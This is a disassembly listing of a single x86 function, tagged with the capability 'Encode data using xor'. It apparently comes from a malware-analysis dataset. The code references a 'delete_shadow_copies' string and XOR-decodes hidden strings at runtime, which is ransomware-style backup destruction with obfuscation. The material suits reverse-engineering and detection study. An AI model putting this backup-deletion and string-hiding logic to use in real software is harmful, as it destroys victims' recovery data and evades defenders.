Function at 0x413800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4732b6
mov eax, dword fs:[0]
push eax
sub esp, 0x18c
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.delete_shadow_copies_n
call fcn.004022c0
mov eax, dword fs:[0x2c]
add esp, 4
mov dword [ebp - 0xdc], 0x2e5a4b47
mov ecx, dword [eax]
mov eax, dword [0x49fb70]
mov dword [ebp - 0x194], ecx
cmp eax, dword [ecx + 4]
jle 0x4138b3
push 0x49fb70
call fcn.00437568
add esp, 4
cmp dword [0x49fb70], 0xffffffff
jne 0x4138b3
movaps xmm0, xmmword [str.X__OJCG_]
mov eax, dword [ebp - 0xdc]
movups xmmword [0x49f930], xmm0
push 0x478450
movaps xmm0, xmmword [0x489470]
movups xmmword [0x49f940], xmm0
mov dword [0x49f950], eax
call fcn.0043798f
push 0x49fb70
call fcn.0043751e
add esp, 8
cmp byte [0x49f953], 0
je 0x4138f1
movaps xmm1, xmmword [0x489130]
xor eax, eax
movups xmm0, xmmword [eax + 0x49f930]
pxor xmm0, xmm1
movups xmmword [eax + 0x49f930], xmm0
add eax, 0x10
cmp eax, 0x20
jb 0x4138c5
cmp eax, 0x24
jae 0x4138f1
xor byte [eax + 0x49f930], 0x2e
inc eax
cmp eax, 0x24
jb 0x4138e4
push 1
mov edx, 0x49f930
lea ecx, [ebp - 0xf0]
call fcn.004142a0
mov edx, dword [ebp - 0xdc]
add esp, 4
cmp edx, 0x10
jb 0x413940
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413936
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413e73
push edx
push ecx
call fcn.00437415
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x130], 0
lea ecx, [ebp - 0x138]
movq qword [ebp - 0x138], xmm0
call fcn.004115e0
mov dword [ebp - 4], 0
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x134]
mov esi, dword [ebp - 0x138]
sub ecx, esi
imul ecx
mov dword [ebp - 0x190], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x198], eax
test eax, eax
jle 0x413d4e
nop
push 0x50
lea eax, [ebp - 0x188]
push 0
push eax
call fcn.0044ee30
add esp, 0xc
lea ecx, [ebp - 0x188]
call fcn.00417340
mov byte [ebp - 4], 1
mov ecx, esi
cmp dword [esi + 0x14], 8
jb 0x4139cc
mov ecx, dword [esi]
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*2]
push eax
push ecx
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x188]
call fcn.00419500
lea ecx, [ebp - 0x188]
call fcn.00417280
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
lea ecx, [eax - 1]
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00401f50
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x413a79
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413a6f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413e73
push edx
push ecx
call fcn.00437415
add esp, 8
movups xmm0, xmmword [ebp - 0xf0]
push 0xc8
lea eax, [ebp - 0xd8]
movups xmmword [ebp - 0x12c], xmm0
push 0
movq xmm0, qword [ebp - 0xe0]
push eax
movq qword [ebp - 0x11c], xmm0
call fcn.0044ee30
mov ecx, dword [ebp - 0x194]
lea edi, [ebp - 0x12c]
mov eax, dword [0x4a00d4]
lea edx, [ebp - 0x12c]
add esp, 0xc
mov dword [ebp - 0xe4], 0x54475d56
cmp dword [ebp - 0xdc], 0x10
mov dword [ebp - 0xe0], 0x1e1a134b
cmovae edx, dword [ebp - 0xf0]
cmovae edi, dword [ebp - 0xf0]
mov dword [ebp - 0x18c], edx
mov dword [ebp - 0xdc], 0x2e6c631f
cmp eax, dword [ecx + 4]
jle 0x413b7d
push 0x4a00d4
call fcn.00437568
add esp, 4
cmp dword [0x4a00d4], 0xffffffff
jne 0x413b77
movaps xmm0, xmmword [0x4890a0]
mov eax, dword [ebp - 0xdc]
movups xmmword [0x49e82c], xmm0
push 0x478430
movaps xmm0, xmmword [0x4892c0]
movups xmmword [0x49e83c], xmm0
mov dword [0x49e864], eax
movaps xmm0, xmmword [0x4893c0]
movups xmmword [0x49e84c], xmm0
movq xmm0, qword [ebp - 0xe4]
movq qword [0x49e85c], xmm0
call fcn.0043798f
push 0x4a00d4
call fcn.0043751e
add esp, 8
mov edx, dword [ebp - 0x18c]
cmp byte [0x49e867], 0
je 0x413bbf
movaps xmm2, xmmword [0x489130]
xor eax, eax
nop
movups xmm0, xmmword [eax + 0x49e82c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x49e82c], xmm1
add eax, 0x10
cmp eax, 0x30
jb 0x413b90
cmp eax, 0x3c
jae 0x413bbf
xor byte [eax + 0x49e82c], 0x2e
inc eax
cmp eax, 0x3c
jb 0x413bb2
push edi
push edx
lea eax, [ebp - 0xd8]
push 0x49e82c
push eax
call fcn.00402370
push 1
lea edx, [ebp - 0xd8]
lea ecx, [ebp - 0xf0]
call fcn.004142a0
mov edx, dword [ebp - 0xdc]
add esp, 0x14
cmp edx, 0x10
jb 0x413c22
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413c18
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413e73
push edx
push ecx
call fcn.00437415
add esp, 8
cmp dword [ebp - 0x118], 0x10
lea edx, [ebp - 0x12c]
lea edi, [ebp - 0x12c]
cmovae edx, dword [ebp - 0x12c]
cmovae edi, dword [ebp - 0x12c]
mov dword [ebp - 0x18c], edx
call fcn.00413e80
cmp byte [eax + 0x3f], 0
je 0x413c90
movups xmm0, xmmword [eax]
movaps xmm2, xmmword [0x489130]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax], xmm1
movups xmm0, xmmword [eax + 0x10]
pxor xmm0, xmm2
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [eax + 0x20]
pxor xmm0, xmm2
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [eax + 0x30]
pxor xmm0, xmm2
movups xmmword [eax + 0x30], xmm0
nop dword [eax]
push edi
push dword [ebp - 0x18c]
push eax
lea eax, [ebp - 0xd8]
push eax
call fcn.00402370
push 1
lea edx, [ebp - 0xd8]
lea ecx, [ebp - 0xf0]
call fcn.004142a0
mov edx, dword [ebp - 0xdc]
add esp, 0x14
cmp edx, 0x10
jb 0x413cf4
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413cea
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413e73
push edx
push ecx
call fcn.00437415
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x413d32
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413d28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413e73
push edx
push ecx
call fcn.00437415
add esp, 8
mov edi, dword [ebp - 0x190]
add esi, 0x18
inc edi
mov dword [ebp - 0x190], edi
cmp edi, dword [ebp - 0x198]
jl 0x4139a0
mov ecx, dword [ebp - 0x194]
mov eax, dword [0x49f87c]
mov dword [ebp - 0xdc], 0x2e5a4b47
cmp eax, dword [ecx + 4]
jle 0x413dbf
push 0x49f87c
call fcn.00437568
add esp, 4
cmp dword [0x49f87c], 0xffffffff
jne 0x413dbf
movaps xmm0, xmmword [str.X__OJCG_]
mov eax, dword [ebp - 0xdc]
movups xmmword [0x49e694], xmm0
push 0x4783f0
movaps xmm0, xmmword [0x489470]
movups xmmword [0x49e6a4], xmm0
mov dword [0x49e6b4], eax
call fcn.0043798f
push 0x49f87c
call fcn.0043751e
add esp, 8
cmp byte [0x49e6b7], 0
je 0x413e00
movaps xmm2, xmmword [0x489130]
xor eax, eax
movups xmm0, xmmword [eax + 0x49e694]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x49e694], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x413dd1
cmp eax, 0x24
jae 0x413e00
xor byte [eax + 0x49e694], 0x2e
inc eax
cmp eax, 0x24
jb 0x413df3
push 1
mov edx, 0x49e694
lea ecx, [ebp - 0xf0]
call fcn.004142a0
mov edx, dword [ebp - 0xdc]
add esp, 4
cmp edx, 0x10
jb 0x413e4b
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413e41
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413e73
push edx
push ecx
call fcn.00437415
add esp, 8
lea ecx, [ebp - 0x138]
call fcn.00418ea0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004373d4
mov esp, ebp
pop ebp
ret
call fcn.0045219a
int3